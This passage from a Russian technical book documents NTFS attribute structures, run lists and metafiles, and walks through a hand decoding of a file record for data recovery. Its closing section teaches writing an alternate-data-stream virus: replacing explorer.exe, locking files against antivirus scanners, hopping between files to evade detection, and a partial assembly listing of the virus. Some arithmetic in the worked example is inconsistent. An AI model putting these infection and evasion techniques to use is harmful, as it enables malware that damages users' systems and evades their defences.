байт от атрибутного заголовка, содержит указатель на него. Для безымянных атрибутов оно равно нулю (большинство атрибутов имен не имеют). Имя атрибута хранится в атрибутном заголовке в формате UNICODE, а его длина определяется 8-разрядным полем, расположенным по смещению
09h
байт от начала атрибутного заголовка.

Если тело атрибута сжато, зашифровано или разрежено, 16-разрядное поле флагов, расположенное по смещению

0Ch
байт от начала атрибутного заголовка, не равно нулю.

Основные поля резидентных и нерезидентных атрибутов кратко описаны в табл. 6.4 и 6.5. Остальные поля не играют существенной роли, и потому здесь они не рассматриваются.


Таблица 6.4. Структура резидентного атрибута

СмещениеРазмер (байт)ЗначениеОписание
00h
4Тип атрибута (например,
0x10
,
0x60
,
0xB0
)
04h
4Длина атрибута, включая этот заголовок
08h
1
00h
Флаг нерезидентности (non-resident flag)
09h
1
N
Длина имени атрибута (ноль, если атрибут безымянный)
0Ah
2
18h
Смещение имени (ноль, если атрибут безымянный)
0Ch
2
00h
Флаги
ЗначениеОписание
0001h
Сжатый атрибут (compressed)
4000h
Зашифрованный атрибут (encrypted)
8000h
Разреженный атрибут (sparse)
0Eh
2Идентификатор атрибута (attribute ID)
10h
4
L
Длина тела атрибута, без заголовка
14h
2
2N+18h
Смещение тела атрибута
16h
1Индексный флаг
17h
1
00h
Используется для выравнивания
18h
2N
UNICODE
Имя атрибута (если есть)
2N+18h
LТело атрибута

Таблица 6.5. Структура нерезидентного атрибута

СмещениеРазмер (байт)ЗначениеОписание
00h
4Тип атрибута (например,
0x20
,
0x80
)
04h
4Длина атрибута, включая этот заголовок
08h
1
01h
Флаг нерезидентности (non-resident flag)
09h
1
N
Длина имени атрибута (ноль, если атрибут безымянный)
0Ah
2
40h
Смещение имени (ноль, если атрибут безымянный)
0Ch
2Флаги
ЗначениеОписание
0001h
Сжатый атрибут (compressed)
4000h
Зашифрованный атрибут (encrypted)
8000h
Разреженный атрибут (sparse)
0Eh
2Идентификатор атрибута (attribute ID)
10h
8Начальный виртуальный кластер (starting VCN)
18h
8Конечный виртуальный кластер (last VCN)
20h
2
2N+40h
Смещение списка отрезков (data runs)
22h
2Размер блока сжатия (compression unit size), округленный до 4 байт в большую сторону
24h
4
00h
Используется для выравнивания
28h
8Выделенный размер (allocated size), округленный до размера кластера
30h
8Реальный размер (real size)
38h
8Инициализированный размер потока (initialized data size of the stream)
40h
2N
UNICODE
Имя атрибута (если есть)
2N+40h
Список отрезков (data runs)

Типы атрибутов

NTFS поддерживает большее количество предопределенных типов атрибутов, перечисленных в табл. 6.6. Тип атрибута определяет его назначение и формат представления тела. Полное описание всех атрибутов заняло бы не одну главу, а целую книгу, поэтому здесь приводятся лишь наиболее "ходовые" из них, а за информацией об остальных обращайтесь к документации Linux-NTFS Project.


Таблица 6.6. Основные типы атрибутов

ЗначениеОСУсловное обозначениеОписание
010h
Любая
$STANDARD_INFORMATION
Стандартная информация о файле (время, права доступа)
020h
Любая
$ATTRIBUTE_LIST
Список атрибутов
030h
Любая
$FILE_NAME
Полное имя файла
040h
Windows NT
$VOLUME_VERSION
Версия тома
040h
Windows 2000
$OBJECT_ID
Глобально уникальный идентификатор (GUID) и прочие ID
050h
Любая
$SECURITY_DESCRIPTOR
Дескриптор безопасности и списки прав доступа (ACL)
060h
Любая
$VOLUME_NAME
Имя тома
070h
Любая
$VOLUME_INFORMATION
Информация о томе
080h
Любая
$DATA
Основные данные файла
090h
Любая
$INDEX_ROOT
Корень индексов
0A0h
Любая
$INDEX_ALLOCATION
Ветви (sub-nodes) индекса
0B0h
Любая
$BITMAP
Карта свободного пространства
0C0h
Windows NT
$SYMBOLIC_LINK
Символическая ссылка
0C0h
Windows 2000
$REPARSE_POINT
Для сторонних производителей
0D0h
Любая
$EA_INFORMATION
Расширенные атрибуты для HPFS
0E0h
Любая
$EA
Расширенные атрибуты для HPFS
0F0h
Windows NT
$PROPERTY_SET
Устарело и ныне не используется
100h
Windows 2000
$LOGGED_UTILITY_STREAM
Используется шифрующей файловой системой (EFS)
$STANDARD_INFORMATION

Атрибут стандартной информации описывает время создания/изменения/последнего доступа к файлу и права доступа, а также некоторую другую вспомогательную информацию (например, квоты). Структура атрибута стандартной информации кратко описана в табл. 6.7.


Таблица 6.7. Структура атрибута

$STANDARD_INFORMATION

СмещениеРазмерОСОписание
- -ЛюбаяСтандартный атрибутный заголовок (standard attribute header)
00h
8Любая
C
— время создания (creation) файла
08h
8Любая
A
— время изменения (altered) файла
10h
8Любая
M
— время изменения файловой записи (MFT changed)
18h
8Любая
R
— время последнего чтения (read) файла
20h
4ЛюбаяПрава доступа MS-DOS (MS-DOS file permissions)
ЗначениеОписание
0001h
Только на чтение (read-only)
0002h
Скрытый (hidden)
0004h
Системный (system)
0020h
Архивный (archive)
0040h
Устройство (device)
0080h
Обычный (normal)
0100h
Временный (temporary)
0200h
Разреженный (sparse) файл
0400h
Точка передачи (reparse point)
0800h
Сжатый (compressed)
1000h
Оффлайновый (offline)
2000h
Неиндексируемый (not content indexed)
4000h
Зашифрованный (encrypted)
24h
4ЛюбаяСтаршее двойное слово номера версии (maximum number of versions)
28h
4ЛюбаяМладшее двойное слово номера версии (version number)
2Ch
4ЛюбаяИдентификатор класса (class ID)
30h
4Windows 2000Идентификатор владельца (owner ID)
34h
4Windows 2000Идентификатор безопасности (security ID)
38h
8Windows 2000Количество квотируемых байт (quota charged)
40h
8Windows 2000Номер последней последовательности обновления (update sequence number USN)
$ATTRIBUTE_LIST

Атрибут списка атрибутов (прямо каламбур) используется в тех случаях, когда все атрибуты файла не умещаются в базовой файловой записи, и файловая система вынуждена располагать их в расширенных файловых записях. Индексы расширенных файловых записей содержатся в атрибуте списка атрибутов, помещаемом в базовую файловую запись.

При каких обстоятельствах атрибуты не умещаются в одной файловой записи? Это может произойти в следующих случаях:

□ файл содержит много альтернативных имен или жестких ссылок;

□ файл сильно фрагментирован;

□ файл содержит очень сложный дескриптор безопасности;

□ файл имеет очень много потоков данных (т.е. атрибутов типа

$DATA
).

Структура атрибута списка атрибутов приведена в табл. 6.8.


Таблица 6.8. Структура атрибута

$ATTRIBUTE_LIST

СмещениеРазмерОписание
- -Стандартный атрибутный заголовок (standard attribute header)
00h
4Тип (type) атрибута (см. табл. 6.6)
04h
2Длина записи (record length)
06h
1Длина имени (name length), или ноль, если нет, условно —
N
07h
1Смещение имени (offset to name), или ноль если нет
08h
8Начальный виртуальный кластер (starting VCN)
10h
8Ссылка на базовую/расширенную файловую запись
18h
2Идентификатор атрибута (attribute ID)
1Ah
2
N
Если
N>0
, то имя в формате UNICODE
$FILE_NAME

Атрибут полного имени файла хранит имя файла в соответствующем пространстве имен. Таких атрибутов у файла может быть и несколько (например, имя Win32 и имя MS-DOS). Здесь же хранятся и жесткие ссылки (hard link), если они есть.

Структура атрибута полного имени приведена в табл. 6.9.


Таблица 6.9. Структура атрибута

$FILE_NAME

СмещениеРазмерОписание
- -Стандартный атрибутный заголовок (standard attribute header)
00h
8Ссылка (file reference) на материнский каталог
08h
8
C
— время создания (creation) файла
10h
8
A
— время последнего изменения (altered) файла
18h
8
M
— время последнего изменения файловой записи (MFT changed)
20h
8
R
— время последнего чтения (read) файла
28h
8Выделенный размер (allocated size) файла
30h
8Реальный размер (real size) файла
38h
4Флаг (см. табл. 6.7)
3Ch
4Используется HPFS
40h
1Длина имени в символах —
L
41h
1Пространство имен файла (filename namespace)
42h
2LИмя файла в формате UNICODE без завершающего нуля

Списки отрезков

Тела нерезидентных атрибутов хранятся на диске в одной или нескольких кластерных цепочках, называемых отрезками (runs). Отрезком называется последовательность смежных кластеров, характеризующаяся номером начального кластера и длиной. Совокупность отрезков называется списком (run-list или data run).

Внутренний формат представления списков не то, чтобы сложен, но простым его тоже на назовешь. Для экономии места длина отрезка и номер начального кластера хранятся в полях переменной длины. Если размер отрезка умещается в байт (т.е. его значение не превышает 255), то он займет один байт. По аналогии, если размер отрезка требует для своего представления двойного слова, то он займет двойное слово.

Сами же поля размеров хранятся в 4-битных ячейках, называемых нибблами (nibble) или полубайтами. Шестнадцатеричная система счисления позволяет легко переводить байты в нибблы и наоборот. Младший ниббл равен (

X & 15
), а старший — (
X / 16
). Иначе говоря, младший ниббл соответствует младшему шестнадцатеричному разряду байта, а старший — старшему. Например,
69h
состоит из двух нибблов, причем младший равен
9h
, а старший —
6h
.

Список отрезков представляет собой массив структур, каждая из которых описывает характеристики "своего" отрезка. Структура элемента списка отрезков показана в табл. 6.10. В конце списка находится завершающий ноль. Первый байт структуры состоит из двух нибблов: младший задает длину поля начального кластера отрезка (условно обозначаемого буквой

F
), а старший — количество кластеров в отрезке (
L
). Затем идет поле длины отрезка. В зависимости от значения
L
оно может занимать от одного до восьми байт (поля большей длины недопустимы). Первый байт поля стартового кластера файла расположен по смещению
1+L
байт от начала структуры (что соответствует
2+2*L
нибблам). Кстати говоря, в документации Linux-NTFS Project (версия 0.4) поля размеров начального кластера и количества кластеров в отрезке перепутаны местами.


Таблица 6.10. Структура одного элемента списка отрезков

Смещение в нибблахРазмер в нибблахОписание
01Размер поля длины (
L
)
11Размер поля начального кластера (
S
)
22*
L
Количество кластеров в отрезке
2+2*
L
2*
S
Номер начального кластера отрезка

Покажем, как с этим работать на практике. Предположим, что мы имеем следующий список отрезков, соответствующий нормальному не фрагментированному файлу (что может быть проще!):

21 18 34 56 00
. Попробуем его декодировать?

Начнем с первого байта —

21h
. Младший полубайт (
01h
) описывает размер поля длины отрезка, старший (
02h
) — размер поля начального кластера. Следующие несколько байт представляют поле длины отрезка, размер которого в данном случае равен одному байту —
18h
. Два других байта (
34h 56h
) задают номер начального кластера отрезка. Нулевой байт на конце сигнализирует о том, что это последний отрезок в файле. Таким образом, наш файл состоит из одного-единственного отрезка, начинающегося с кластера
5634h
и заканчивающегося кластером
5634h + 18h == 564Ch
.

Рассмотрим более сложный пример фрагментированного файла со следующим списком отрезков:

31 38 73 25 34 32 14 01 E5 11 02 31 42 AA 00 03 00
. Извлекаем первый байт —
31h
. Один байт приходится на поле длины, и три байта — на поле начального кластера. Таким образом, первый отрезок (run 1) начинается с кластера
342573h
и продолжается вплоть до кластера
342573h + 38 == 3425ABh
. Чтобы найти смещение следующего отрезка в списке, мы складываем размер обоих полей с их начальным смещением:
3 + 1 == 4
. Отсчитываем четыре байта от начала списка отрезков и переходим к декодированию следующего отрезка:
32h
— два байта на поле длины отрезка (равное в данном случае
0114h
) и три байта — на поле номера начального кластера (
0211E5h
). Следовательно, второй отрезок (run 2) начинается с кластера
0211E5h
и продолжается вплоть до кластера
0211E5h + 114h == 212F9h
. Третий отрезок (run 3):
31h
— один байт на поле длины и три байта — на поле начального кластера, равные
42h
и
0300AAh
соответственно. Поэтому третий отрезок (run 3) начинается с кластера
0300AAh
и продолжается вплоть до кластера
0300AAh + 42h == 300ECh
. Завершающий ноль на конце списка отрезков сигнализирует о том, что это последний отрезок в файле.

Таким образом, подопытный файл состоит из трех отрезков, разбросанных по диску в следующем живописном порядке:

342573h
3425ABh
;
0211E5h
212F9h
;
0300AAh
300ECh
. Остается только прочитать его с диска! Нет ничего проще!

Начиная с версии 3.0, NTFS поддерживает разреженные (sparse) атрибуты, т.е. такие атрибуты, которые не записывают на диск кластеры, содержащие одни нули. При этом поле номера начального кластера отрезка может быть равным нулю, что означает, что данному отрезку не выделен никакой кластер. Поле длины содержит количество кластеров, заполненных нулями. Их не нужно считывать с диска. Вы должны самостоятельно изготовить их в памяти. Между прочим, далеко не все дисковые доктора знают о существовании разреженных атрибутов (если атрибут разрежен, его флаг равен

8000h
), и интерпретируют нулевую длину поля номера начального кластера весьма странным образом. Последствия такого "лечения" обычно оказываются весьма печальными.

Пространства имен

NTFS изначально проектировалась как файловая система, не зависящая от платформы, способная работать с большим количеством различных подсистем, в том числе: Win32, MS-DOS, POSIX. Так как каждая из перечисленных подсистем налагает собственные ограничения на набор символов, допустимых для использования в имени файла, NTFS вынуждена поддерживать несколько независимых пространств имен (name spaces).

POSIX

Допустимы все символы UNICODE (с учетом регистра), за исключением символа нуля (

NULL
), обратной косой черты (
\
) и знака двоеточия (
:
). Последнее из перечисленных ограничений, кстати говоря, не есть ограничение POSIX. Напротив, это — внутреннее ограничение файловой системы NTFS, использующей этот символ для доступа к именованным атрибутам. Максимально допустимая длина имени составляет 255 символов.

Win32

Доступны все символы UNICODE (без учета регистра), за исключением следующего набора: кавычки (

"
), звездочка (
*
), косая черта (
/
), двоеточие (
:
), знак "меньше" (
<
), знак "больше" (
>
), вопросительный знак (
?
), обратная косая черта (
\
), а также символ конвейера (
|
). Кроме того, имя файла не может заканчиваться точкой или пробелом. Максимально допустимая длина имени составляет 255 символов.

MS-DOS

Доступны все символы пространства имен Win32 (без учета регистра), за исключением следующих: знак плюса (

+
), запятая (
,
), точка (
.
), точка с запятой (
;
), знак равенства (
=
). Длина имени файла не должна превышать восьми символов, за которыми следует необязательное расширение имени файла, имеющее длину от одного до трех символов.

Назначение служебных файлов

NTFS содержит большое количество служебных файлов (метафайлов) строго определенного формата. Важнейший из метафайлов,

$MFT
, мы только что рассмотрели. Остальные метафайлы играют вспомогательную роль. Для восстановления данных детально знать их структуру необязательно. Тем не менее, если они окажутся искажены, то штатный драйвер файловой системы не сможет работать с таким томом, поэтому иметь некоторые представления о назначении каждого из них все же необходимо.

Краткие сведения о назначении важнейших метафайлов приведены в табл. 6.11. К сожалению, в пределах одной главы нет возможности подробно рассмотреть структуру всех существующих метафайлов, поэтому заинтересованным читателям рекомендуется искать эту информацию в документации к Linux-NTFS Project.


Таблица 6.11. Назначение основных метафайлов NTFS

InodeИмя файлаОСОписание
0
$MFT
ЛюбаяГлавная файловая таблица (Master File Table, MFT)
1
$MFTMirr
ЛюбаяРезервная копия первых четырех элементов MFT
2
$LogFile
ЛюбаяЖурнал транзакций (transactional logging file)
3
$Volume
ЛюбаяСерийный номер, время создания, флаг не сброшенного кэша (dirty flag) тома
4
$AttrDef
ЛюбаяОпределение атрибутов
5
.
(точка)
ЛюбаяКорневой каталог (root directory) тома
6
$Bitmap
ЛюбаяКарта свободного/занятого пространства
7
$Boot
ЛюбаяЗагрузочная запись (boot record) тома
8
$BadClus
ЛюбаяСписок плохих кластеров (bad clusters) тома
9
$Quota
Windows NTИнформация о квотах (quota information)
9
$Secure
Windows 2000Использованные дескрипторы безопасности (security descriptors)
10
$UpCase
ЛюбаяТаблица заглавных символов (uppercase characters) для трансляции имен
11
$Extend
Windows 2000Каталоги:
$ObjId
,
$Quota
,
$Reparse
,
$UsnJrnl
12-15не используетсяЛюбаяПомечены как использованные, но в действительности пустые
16-23не используетсяЛюбаяПомечены как неиспользуемые
Любой
$ObjId
Windows 2000Уникальные идентификаторы каждого файла
Любой
$Quota
Windows 2000Информация о квотах (quota information)
Любой
$Reparse
Windows 2000Информация о точке передачи (reparse point)
Любой
$UsnJrnl
Windows 2000Журнал шифрованной файловой системы (journaling of encryption)
>24Пользовательский файлЛюбаяОбычные файлы
>24Пользовательский каталогЛюбаяОбычные каталоги

Практический пример

Рассказ о файловой системе NTFS был бы неполным без практической иллюстрации техники разбора файловой записи вручную. До сих пор мы витали в облаках теоретической абстракции. Пора спускаться на грешную землю.

Воспользовавшись любым дисковым редактором, например, Disk Probe, попробуем декодировать одну файловую запись вручную. Найдем сектор, содержащий сигнатуру

FILE
в его начале (не обязательно брать первый встретившийся сектор). Он может выглядеть, например, как в листинге 6.4.

Листинг 6.4. Ручное декодирование файловой записи (разные атрибуты выделены разным цветом)

        : 00 01 02 03 04 05 06 07 | 08 09 0A 0B 0C 0D 0E 0F 

00000000: 46 49 4C 45 2A 00 03 00 | 60 79 1A 04 02 00 00 00 FILE*...`y......

00000010: 01 00 01 00 30 00 01 00 | 50 01 00 00 00 04 00 00 ....0...P.......

00000020: 00 00 00 00 00 00 00 00 | 04 00 03 00 00 00 00 00 ................

00000030: 10 00 00 00 60 00 00 00 | 00 00 00 00 00 00 00 00 ................

00000040: 48 00 00 00 18 00 00 00 | B0 D5 C9 2F C6 0B C4 01 H.......░╒╔/╞.─.

00000050: E0 5A B3 7B A9 FA C3 01 | 90 90 F1 2F C6 0B C4 01 рZ│{й·├.PPё/╞.─.

00000060: 50 7F BC FE C8 0B C4 01 | 20 00 00 00 00 00 00 00 P⌂╝■╚.─. .......

00000070: 00 00 00 00 00 00 00 00 | 00 00 00 00 05 01 00 00 ................

00000080: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 ................

00000090: 30 00 00 00 70 00 00 00 | 00 00 00 00 00 00 02 00 0...p...........

000000A0: 54 00 00 00 18 00 01 00 | DB 1A 01 00 00 00 01 00 T.......█.......

000000B0: B0 D5 C9 2F C6 0B C4 01 | B0 D5 C9 2F C6 0B C4 01 ░╒╔/╞.─.░╒╔/╞.─.

000000C0: B0 D5 C9 2F C6 0B C4 01 | B0 D5 C9 2F C6 CB C4 01 ░╒╔/╞.─.░╒╔/╞.─.

000000D0: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 ................

000000E0: 20 00 00 00 00 00 00 00 | 09 03 49 00 6C 00 66 00 ..........I.l.f.

000000F0: 61 00 6B 00 2E 00 64 00 | 62 00 78 00 00 00 00 00 a.k...d.b.x.....

00000100: 80 00 00 00 48 00 00 00 | 01 00 00 00 00 00 03 00 А...H...........

00000110: 00 00 00 00 00 00 00 00 | ED 04 00 00 00 00 00 00 ........э.......

00000120: 40 00 00 00 00 00 00 00 | 00 E0 4E 00 00 00 00 00 @........рN.....

00000130: F0 D1 4E 00 00 00 00 00 | F0 D1 4E 00 00 00 00 00 Ё╤N.....Ё╤N.....

00000140: 32 EE 04 D9 91 00 00 81 | FF FF FF FF 82 79 47 11 2ю.┘С..Б    ВyG.

000001F0: 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 03 00 ................

        : 00 01 02 03 04 05 06 07 | 08 09 0A 0B 0C 0D 0F 0F

Первым делом необходимо восстановить оригинальное содержимое последовательности обновления. По смещению

04h
от начала сектора лежит 16-разрядный указатель на нее, равный в данном случае
2Ah
(значит, это NTFS 3.0 или более ранняя версия). А что у нас лежит по смещению
2Ah
? Это — пара байт
03 00
. Данная последовательность представляет собой номер последовательности обновления. Сверяем его с содержимым двух последних байт этого и следующего секторов (смещения
1FEh
и
3FEh
соответственно). Они равны! Следовательно, данная файловая запись цела (по крайней мере, на первый взгляд), и можно переходить к операции ее восстановления. По смещению
2Ch
расположен массив, содержащий оригинальные значения последовательности обновления. Количество элементов в нем равно содержимому 16-разрядного поля, расположенному по смещению
06h
от начала сектора и уменьшенного на единицу (в данном случае имеем
03h - 01h == 02h
). Извлекаем два слова, начиная со смещения
2Ch
(в данном случае они равны
00 00
и
00 00
) и записываем их в конец первого и последнего секторов.

Теперь нам необходимо выяснить, используется ли данная файловая запись, или же ассоциированный с ней файл или каталог был удален. 16-разрядное поле, расположенное по смещению

16h
, содержит значение
01h
. Следовательно, перед нами файл, а не каталог, и этот файл еще не удален. Но является ли эта файловая запись базовой для данного файла или мы имеем дело с ее продолжением? 64-разрядное поле, расположенное по смещению
20h
, равно нулю, следовательно, данная файловая запись — базовая.

Очень хорошо, теперь переходим к исследованию атрибутов. 16-разрядное поле, находящееся по смещению

14h
, равно
30h
, следовательно, заголовок первого атрибута начинается со смещения
30h
от начала сектора.

Первое двойное слово атрибута равно

10h
, значит, перед нами атрибут типа
$STANDARD_INFORMATION
. 32-разрядное поле длины атрибута, находящееся по смещению
04h
и равное в нашем случае
60h
байт, позволяет нам вычислить смещение следующего атрибута в списке:
30h
(смещение нашего атрибута)
+ 60h
(его длина)
== 90h
(смещение следующего атрибута). Первое двойное слово следующего атрибута равно
30h
, значит, это атрибут типа
$NAME
, и следующее 32-разрядное поле хранит его длину, равную в данном случае
70h
. Сложив длину атрибута с его смещением, мы получим смещение следующего атрибута —
90h + 70h == 100h
. Первое двойное слово третьего атрибута равно
80h
, следовательно, это атрибут типа
$DATA
, хранящий основные данные файла. Складываем его смещение с длиной —
100h + 32h == 132h
. И вот здесь мы наткнулись на частокол
FFFFFFh
, сигнализирующий о том, что атрибут
$DATA
последний в списке.

Теперь, разбив файловую запись на атрибуты, можно приступить к исследованию каждого из атрибутов в отдельности. Начнем с разбора имени. 8-разрядное поле, находящееся по смещению

08h
от начала атрибутного заголовка (и по смещению
98h
от начала сектора), содержит флаг нерезидентности. В данном случае этот флаг равен нулю. Это значит, атрибут резидентный, и его тело хранится непосредственно в самой файловой записи, что уже хорошо. 16-разрядное поле, расположенное по смещению
0Сh
от начала атрибутного заголовка (и по смещению
9Ch
от начала сектора) равно нулю, следовательно, тело атрибута не сжато и не зашифровано. Таким образом, можно приступать к разбору тела атрибута. 32-разрядное поле, расположенное по смещению
10h
от начала атрибутного заголовка (и по смещению
A0h
от начала сектора), содержит длину атрибутного тела, равную в данном случае
54h
байт. 16-разрядное поле, расположенное по смещению
14h
от начала атрибутного заголовка и по смещению
A4h
от начала сектора, хранит смещение атрибутного тела, равное в данном случае
18h
. Следовательно, тело атрибута
$FILE_NAME
располагается по смещению
A8h
от начала сектора.

Формат атрибута типа

$FILE_NAME
описан в табл. 6.9. Первые восемь байт содержат ссылку на родительский каталог этого файла, равную в данном случае
11ADBh:01
(индекс —
11ADBh
, номер последовательности —
01h
). Следующие 32 байта содержат данные о времени создания, изменения и времени последнего доступа к файлу. По смещению
28h
от начала тела атрибута и
D0h
от начала сектора лежит 64-разрядное поле выделенного размера, а за ним — 64-разрядное поле реального размера. Оба равны нулю, что означает, что за размером файла следует обращаться к атрибутам типа
$DATA
.

Длина имени файла содержится в 8-разрядном поле, находящемся по смещению

40h
байт от начала тела атрибута и по смещению
E8h
от начала сектора. В данном случае оно равно
09h
. Само же имя начинается со смещения
42h
от начала тела атрибута и со смещения
EAh
от начала сектора. И здесь находится имя файла llfak.dbx.

Переходим к атрибуту основных данных файла, пропустив атрибут стандартной информации, который не содержит решительно ничего интересного. 8-разрядный флаг нерезидентности, расположенный по смещению

08h
от начала атрибутного заголовка и по смещению
108h
от начала сектора, равен
01h
, следовательно, атрибут нерезидентный. 16-разрядный флаг, расположенный по смещению
0Ch
от начала атрибутного заголовка и по смещению
10Ch
от начала сектора, равен нулю, значит, атрибут не сжат и не зашифрован. 8-разрядное поле, расположенное по смещению
09h
от начала атрибутного заголовка и по смещению
109h
от начала сектора, равно нулю — атрибут безымянный. Реальная длина тела атрибута (в байтах) содержится в 64-разрядном поле, расположенном по смещению
30h
от начала атрибутного заголовка и по смещению
130h
от начала сектора. В данном случае она равна
4ED1F0h
(5.165.552). Два 64-разрядных поля, расположенных по смещениям
10h/110h
и
18h/118h
байт от начала атрибутного заголовка/сектора соответственно, содержат начальный и конечный номер виртуального кластера нерезидентного тела. В данном случае они равны:
0000h
и
4EDh
соответственно.

Остается лишь декодировать список отрезков, адрес которого хранится в 16-разрядном поле, находящемся по смещению

20h
от начала атрибутного заголовка и 120h от начала сектора. В данном случае поле равно
40h
, что соответствует смещению от начала сектора в
140h
. Сам же список отрезков выглядит так:
32 EE 04 D9 91 00 00
. Ага! Два байта занимает поле длины (равное в данном случае
04EEh
кластерам) и три — поле начального кластера (
0091h
). Завершающий ноль на конце говорит о том, что этот отрезок последний в списке отрезков.

Подытожим полученную информацию. Файл называется llfak.dbx, он начинается с кластера

0091h
и продолжается вплоть до кластера
57Fh
, при реальной длине файла в 5.165.552 байт. Это все, что надо! Теперь остается только скопировать файл на резервный носитель (например, ZIP или стример).

Возможные опасности NTFS

Сейчас мы немного отвлечемся и поговорим о... компьютерных вирусах, обитающих внутри NTFS и активно использующих ее расширения в своих личных целях. В любом случае конструирование вирусов — отличный стимул к изучению ассемблера! И хотя вирус в принципе можно написать и на Си, это будет как-то не по-хакерски и вообще неправильно! Настоящие хакеры пишут только на FASM. Итак, запускаем Multi-Edit или TASMED и погружаемся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием...

Простейший вирус под Windows NT

Внедрение вируса в исполняемый файл, в общем случае, достаточно сложный и мучительней процесс. Как минимум для этого требуется изучить формат РЕ-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вируса и за сезон, а хочется создать его прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows NT/2000/XP) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных (рис. 6.4).

Рис. 6.4. Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (

:
), например:
my_file:stream
. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию +, вводим с клавиатуры имя файла и потока данных, например:
xxx:yyy
, и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем
xxx
. Почему же файл имеет нулевую длину? А где же введенный нами только что текст? Нажмем клавишу и... действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду:
more < xxx:yyy
.

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным сканерам. Метод, применяемый для обмана антивирусных программ, мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закройте руководство по формату исполняемых файлов (Portable Executable, РЕ). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, делающий свое черное дело и передающий управление на основное тело. Работать такой вирус будет только на Windows NT/2000/XP и только под NTFS. На работу с файловой системой FAT он изначально не рассчитан. Оригинальное содержимое заражаемого файла на разделах FAT будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков. В качестве примера архиватора, поддерживающего файловые потоки, можно привести RAR. В диалоговом окне Имя и параметры архива есть вкладка Дополнительно, которая содержит группу опций Параметры NTFS (рис. 6.5). В составе этой группы опций есть флажок Сохранять файловые потоки. Установите эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.

Рис. 6.5. Архиватор RAR способен сохранять файловые потоки в процессе архивации

Существует и другая проблема. Windows блокирует доступ ко всем открытым файлам, и попытка внедрения в них обречена на неудачу. Тем не менее, выход из этого положения существует. Заблокированный файл нельзя открыть, но можно переименовать. Возьмем, например, explorer.exe, и переименуем его, например, в foo. Затем создадим новый файл с точно таким же именем, в основном потоке которого поместим вирусное тело, а прежний explorer.exe скопируем в дополнительный поток. При последующих запусках системы управление получит наш explorer.exe, и файл foo будет можно удалить.

Примечание

Вообще говоря, переименованный файл можно и не удалять. Правда, в этом случае он может привлечь внимание бдительного пользователя или антивирусного ревизора.

Теперь настал момент поговорить об антивирусных ревизорах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусных программ. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а, значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от

CreateFile
со сброшенным флагом
dwShareMode
до
LockFile
/
LockFileEx
. Подробнее об этом можно прочитать в Platform SDK.

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не сотрет. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, шансы на его обнаружение стремительно уменьшаются.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания — тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить. Например, можно вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет файловый монитор (Filemon.exe) Марка Руссиновича (http://www.systeminternals.com). Эта утилита поставляется с исходным кодом, который легко доработать под любые потребности.

Программный код вируса

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера.

В листинге 6.5 приведен исходный код ключевого фрагмента вируса с комментариями.

Листинг 6.5. Исходный код ключевого фрагмента лабораторного вируса

section '.code' code readable executable
start:

      ; Удаляем временный файл

      push foo

      call [DeleteFile]


      ; Определяем наше имя

      push 1000

      push buf

      push 0

      call [GetModuleFileName]


      ; Считываем командную строку

      ; Ключ filename - заразить

      call [GetCommandLine]

      mov ebp, eax

      xor ebx, ebx

      mov ecx, 202A2D2Dh ;

rool:

      cmp [eax], ecx ; это '--*'?

      jz infect

      inc eax

      cmp [eax], ebx ; Конец командной строки?

      jnz rool


      ; Выводим диагностическое сообщение,

      ; подтверждая свое присутствие в файле

      push 0

      push aInfected

      push aHello

      push 0

      call [MessageBox]


      ; Добавляем к своему имени имя потока NTFS

      mov esi, code_name

      mov edi, buf

      mov ecx, 100; сode_name_end - code_name

      xor eax,eax

      repne scasb

      dec edi

      rep movsb


      ; Запускаем поток NTFS на выполнение

      push xxx

      push xxx

      push eax

      push eax

      push eax

      push eax

      push eax

      push eax

      push ebp

